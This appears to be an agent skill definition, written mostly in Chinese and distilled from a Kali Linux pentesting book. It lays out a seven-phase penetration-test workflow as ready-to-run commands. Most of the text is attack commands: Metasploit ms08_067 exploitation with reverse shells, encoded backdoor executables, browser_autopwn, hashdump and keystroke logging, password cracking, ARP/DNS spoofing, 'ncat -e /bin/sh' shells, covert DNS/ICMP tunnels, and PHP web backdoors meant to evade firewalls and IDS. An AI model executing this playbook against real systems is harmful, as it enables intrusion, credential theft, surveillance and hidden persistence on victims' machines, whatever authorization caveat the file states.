| name | kali-pentest |
| description | Execute a full penetration test against a remote target using Kali Linux. Use when the user needs to perform authorized pentesting — information gathering, target identification, service enumeration, vulnerability mapping, exploitation, privilege escalation, and access maintenance. Covers 60+ Kali tools with concrete commands. Requires explicit authorization before any testing. |
kali-pentest — 远程Kali Linux渗透测试skill
使命
基于《Kali Linux渗透测试的艺术》方法论蒸馏,提供一个可被agent调用的、面向远程Kali Linux渗透测试的完整执行框架。
何时调用此skill (A2)
- "帮我对这个目标做渗透测试"
- "扫描这个网段 / 枚举服务 / 查找漏洞"
- "我拿到了一个Kali Linux的shell,接下来怎么做"
- "如何利用这个漏洞提权"
- "pentest this target / scan this network"
道德准则和授权前提 (B)
必须满足以下前提才能执行:
- 已与目标所有者签订正式渗透测试合同
- 已明确测试范围、时间窗口、限制条件
- 已获取书面授权
- 不得超出测试范围
- 不得在未授权情况下对任何系统进行测试
执行流程 (E)
以下按通用渗透测试框架的7个核心阶段组织(范围界定→社会工程学→文档报告为辅助阶段,不在此skill的执行流程中)。
阶段1: 信息收集
R(原文): "信息收集阶段的主要任务是通过各种公开资源获取目标相关信息...分为主动式和被动式两种。"
I(解释): 在不触碰目标网络的前提下,收集域名、IP、DNS、邮件、员工、子域名等信息。分被动式(第三方数据源)和主动式(直接与目标互动)。
A1(案例): 用Metagoofil从目标域的DOC/PDF文件中提取元数据,获取了用户名、软件版本、服务器路径。
E(执行步骤):
whois example.com
host -a example.com
dig example.com any
host 23.23.144.81
dnsenum example.com
dnsenum -f dns.txt example.com
dnsenum -f dns-big.txt example.com
dnsdict6 example.com
dnsdict6 -4 example.com
fierce -dns example.com -threads 3
dmitry -iwnse targethost
dmitry -p targethost -f -b
theharvester -d example.com -l 100 -b google
theharvester -d example.com -l 100 -b linkedin
metagoofil -d example.com -l 20 -t doc,pdf -n 5 -f report.html -o output
tcptraceroute www.example.com
tctrace -i eth0 -d www.example.com
阶段2: 目标识别
R(原文): "目标识别阶段的主要任务有两个:在目标网络里搜索在线的主机,以及鉴定目标机器上安装的操作系统。"
I(解释): 确定哪些主机在线,识别其操作系统类型。分主动式(发送数据包分析响应)和被动式(监听流量分析)。
A1(案例): 用fping扫描整个网段快速识别在线主机;用p0f通过TCP数据包分析成功识别目标为Linux 2.6.x。
E(执行步骤):
ping -c 1 192.168.1.100
ping6 -c 1 fe80::a00:27ff:fe43:1518 -I eth0
arping 192.168.1.100 -c 1
arping -d -i eth0 192.168.1.100 -c 2
fping 192.168.1.1 192.168.1.100 192.168.1.107
fping -g 192.168.56.0/24
fping -r 1 -g 192.168.1.1 192.168.1.10
hping3 -1 192.168.1.100 -c 1
hping3 -S 192.168.1.100 -p 22 -c 1
nping -c 1 192.168.56.100-102
nping --tcp -c 1 -p 22 192.168.56.102
alive6 -p eth0
detect-new-ip6 eth0
passive_discovery6 eth0
nbtscan 192.168.1.1-254
nbtscan -hv 192.168.1.1-254
p0f -f /etc/p0f/p0f.fp -o p0f.log
nmap -O 192.168.56.102
阶段3: 服务枚举
R(原文): "服务枚举阶段的主要目标是找出目标系统中所有开放的端口,以及运行在这些端口上的服务程序。"
I(解释): 在确认主机在线后,扫描所有端口,识别服务类型和版本,枚举SMB/SNMP/VPN等特定服务。
A1(案例): 用Nmap强力扫描(-A)识别出vsftpd 2.3.4、OpenSSH 4.7p1、Apache 2.2.8、Samba 3.0.20等详细版本信息。
E(执行步骤):
nmap 192.168.56.102
nmap -iL targets.txt
nmap -p- 192.168.56.102
nmap -F 192.168.56.102
nmap -sS 192.168.56.102
nmap -sT 192.168.56.102
nmap -sN -p 22,25 192.168.56.102
nmap -sF 192.168.56.102
nmap -sX 192.168.56.102
nmap -sA 192.168.56.102
nmap -sI <zombie> 192.168.56.102
nmap -sU 192.168.56.102 -p 53,161
nmap -sV 192.168.56.102 -p 22
nmap -O 192.168.56.102
nmap -A 192.168.56.102
nmap -T0 192.168.56.102
nmap -T1 192.168.56.102
nmap -T2 192.168.56.102
nmap -T3 192.168.56.102
nmap -T4 192.168.56.102
nmap -T5 192.168.56.102
nmap -f 192.168.56.102
nmap -D decoy1,decoy2 192.168.56.102
nmap --source-port 53 192.168.56.102
nmap --data-length 48 192.168.56.102
nmap -sC 192.168.56.102
nmap --script http-enum,http-headers,http-methods -p 80 192.168.56.102
nmap -Pn 192.168.56.102
nmap 192.168.56.102 -oA scanresult
unicornscan -m U -Iv 192.168.56.102:1-65535 -r 10000
amap -bq 192.168.56.102 22 80 3306
nbtscan -hv 192.168.56.102
onesixtyone 192.168.56.102
snmpcheck -t 192.168.56.102
ike-scan -M -A -P ike-hash 192.168.0.10
psk-crack -d rockyou.txt ike-hash
阶段4: 漏洞映射
R(原文): "漏洞映射阶段根据已发现的开放端口和服务程序,查找分析目标系统中的安全漏洞...完全依赖自动化工具会有假阳性和假阴性。"
I(解释): 将服务枚举结果转化为可利用的漏洞清单。区分本地漏洞(需本地访问,用于提权)和远程漏洞(可网络触发,用于初始访问)。使用自动化扫描+人工分析。
A1(案例): 用SQLMap对Web应用进行SQL注入测试,识别出MySQL 5.0.22后端数据库,提取了7个表名。
E(执行步骤):
openvas-check-setup
openvas-nvt-sync
CAT -h 192.168.0.7 -w lists/community -a lists/passwords -i
bed -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3
python samrdump.py user:pass@192.168.0.7 445/SMB
snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 192.168.0.7
dbpwaudit -s 192.168.0.7 -d dbname -D MySQL -U users.txt -P passwords.txt
sqlmap -u "http://target.com/page.php?id=1" -p id -f -b --current-user --current-db --dbs --users
sqlmap -u "http://target.com/page.php?id=1" --tables -D dbname -v 0
sqlmap -u "http://target.com/page.php?id=1" --dump -D dbname -T tablename
nikto -h target.com -p 80 -o webtest -F htm
wafw00f http://target.com/
searchsploit "apache 2.2"
cat /usr/share/exploitdb/files.csv
阶段5: 漏洞利用
R(原文): "漏洞利用阶段使用已有的漏洞利用程序对目标系统进行渗透...先通过公开渠道获取的漏洞利用程序练手,再编写自己的exploit。"
I(解释): 根据漏洞映射结果,选择合适的exploit和payload,获取目标系统的初始访问权限。核心工具是Metasploit框架。
A1(案例): 利用ms08_067_netapi漏洞,使用Meterpreter payload,完整利用链:exploit→提权(getsystem)→hashdump→键盘记录→后门服务→远程桌面。
E(执行步骤):
searchsploit "ms08_067"
searchsploit "vsftpd 2.3.4"
msfconsole
msf > show exploits
msf > search snmp
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7
msf > db_hosts
msf > db_services
msf > use auxiliary/scanner/snmp/community
msf auxiliary(community) > set RHOSTS 10.2.131.0/24
msf auxiliary(community) > set THREADS 3
msf auxiliary(community) > run
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
msf auxiliary(vnc_none_auth) > run
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X > backdoor.exe
msfpayload windows/shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe > encoded.exe
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
msf exploit(handler) > LHOST 192.168.0.3
msf exploit(handler) > LPORT 33333
msf exploit(handler) > exploit
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > LHOST 192.168.0.3
msf auxiliary(browser_autopwn) > SRVPORT 80
msf auxiliary(browser_autopwn) > URIPATH /
msf auxiliary(browser_autopwn) > run
阶段6: 提升权限
R(原文): "提升权限阶段的主要目标是获取目标系统最高访问权限...通过利用本地漏洞、密码攻击、网络欺骗和网络嗅探实现。"
I(解释): 获取初始访问后,从普通权限提升到root/system权限。4个矢量:本地漏洞提权、密码攻击(离线+在线)、网络欺骗(ARP/DNS)、网络嗅探。
A1(案例): 用Meterpreter的getsystem提权到NT AUTHORITY\SYSTEM;用Hydra破解VNC密码;用dsniff在集线器网络捕获FTP密码。
E(执行步骤):
meterpreter > getuid
meterpreter > getsystem
meterpreter > sysinfo
meterpreter > run hashdump
meterpreter > migrate 3172
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
meterpreter > run getgui -u btuser -p btpass
meterpreter > run getgui -e
uname -r
searchsploit "linux kernel 2.6"
gcc privs.c -o privs
./privs <PID>
hash-identifier
unshadow etc-passwd etc-shadow > pass
john pass
john --wordlist=password.lst pass
john --show pass
hashcat -m 100 test.hash rockyou.txt
rcrack /usr/share/rainbowcrack/*.rt -h <hash_value>
samdump2 system sam -o test-sam
crunch 1 5 -o wordlist.txt
crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.lst
cewl -w target.txt http://www.target.com
hydra -P password.lst 192.168.0.7 vnc
hydra -L users.txt -P pass.txt 192.168.0.7 ssh
medusa -u root -P password.lst -h 192.168.0.7 -M vnc -v 4
1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.65.129 192.168.65.1
ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/
dnschef --fakeip=192.168.2.21 --fakedomains google.com --interface 192.168.2.21 -q
dsniff -i eth0 -m
tcpdump -i eth0 -s 96
tcpdump -n -t -X -i eth0 -s 64 icmp and src 192.168.56.102
wireshark
阶段7: 访问维护
R(原文): "访问维护阶段在一段时间内维护对目标系统的访问权限...通过操作系统后门、隧道工具和Web后门实现。"
I(解释): 获取权限后建立持久化机制,确保即使漏洞被修复仍可控制目标。分3类:OS后门(注入进程)、隧道(协议封装绕过防火墙)、Web后门(通过Web服务器)。
A1(案例): 用WeBaCoo生成PHP后门,通过HTTP Cookie通信,防火墙和IDS无法检测;用dns2tcp建立TCP over DNS隧道绕过防火墙。
E(执行步骤):
cymothoa -S
cymothoa -p <PID> -s 1 -y 4444
nc -nvv 192.168.56.102 4444
meterpreter > run metsvc
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
msf exploit(handler) > set RHOST 192.168.0.7
msf exploit(handler) > exploit
ncat -l 1337 -e /bin/sh
ncat 192.168.2.23 1337
ncat -l 1337
ncat 192.168.2.21 1337 -e /bin/sh
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
dns2tcpc -z dnstunnel.example.com -c -f /etc/dns2tcpc.conf
ssh -p 2222 user@127.0.0.1
iodined -f -c -P password 192.168.200.1 tunnel.example.com
iodine -f -P password tunnel.example.com
proxychains telnet example.com
ptunnel
ptunnel -p ptunnel.example.com -lp 2222 -da ssh.example.org -dp 22
ssh localhost -p 2222
socat TCP4-LISTEN:12345 OPEN:file.php,creat,append
file.php | socat - TCP4:192.168.2.23:12345
openssl req -new -days 365 -nodes -x509 -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem
/etc/init.d/stunnel4 start
webacoo -g -o backdoor.php
webacoo -t -u http://target.com/backdoor.php
weevely generate password backdoor.php
weevely http://target.com/backdoor.php password
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.3 -f raw > backdoor.php
msf > use exploit/multi/handler
msf exploit(handler) > PAYLOAD php/meterpreter/reverse_tcp
msf exploit(handler) > LHOST 192.168.0.3
msf exploit(handler) > exploit
边界与注意事项 (B)
不适用场景
- 云环境(AWS/Azure/GCP)渗透测试
- 无线网络(WiFi/蓝牙)渗透测试
- 移动应用安全测试
- 容器化(Docker/K8s)安全测试
- API安全测试
关键注意事项
- 授权前提: 必须有书面授权才能执行任何测试
- 账户锁定: 在线密码攻击可能触发账户锁定,轮换用户名而非密码
- metsvc风险: Meterpreter后门无认证机制,任何人都能连接
- UDP可靠性: UDP扫描结果不如TCP可靠,目标可能不响应
- 诱饵扫描: 过多诱饵会拥堵网络,扫描客户网络时避免
- 工具版本: 书中工具版本较老,实际使用前查阅最新文档
- 假阳性/假阴性: 不要仅凭单一工具结果下结论,交叉验证
- 清理痕迹: 测试完成后清理后门和测试账户
与相邻skill的区分
- 本skill聚焦于远程Kali Linux渗透测试全流程
- 社会工程学攻击(第8章)因需人工操作,不在此skill中
- 文档报告(第12章)为辅助阶段,在DIGEST.md中简述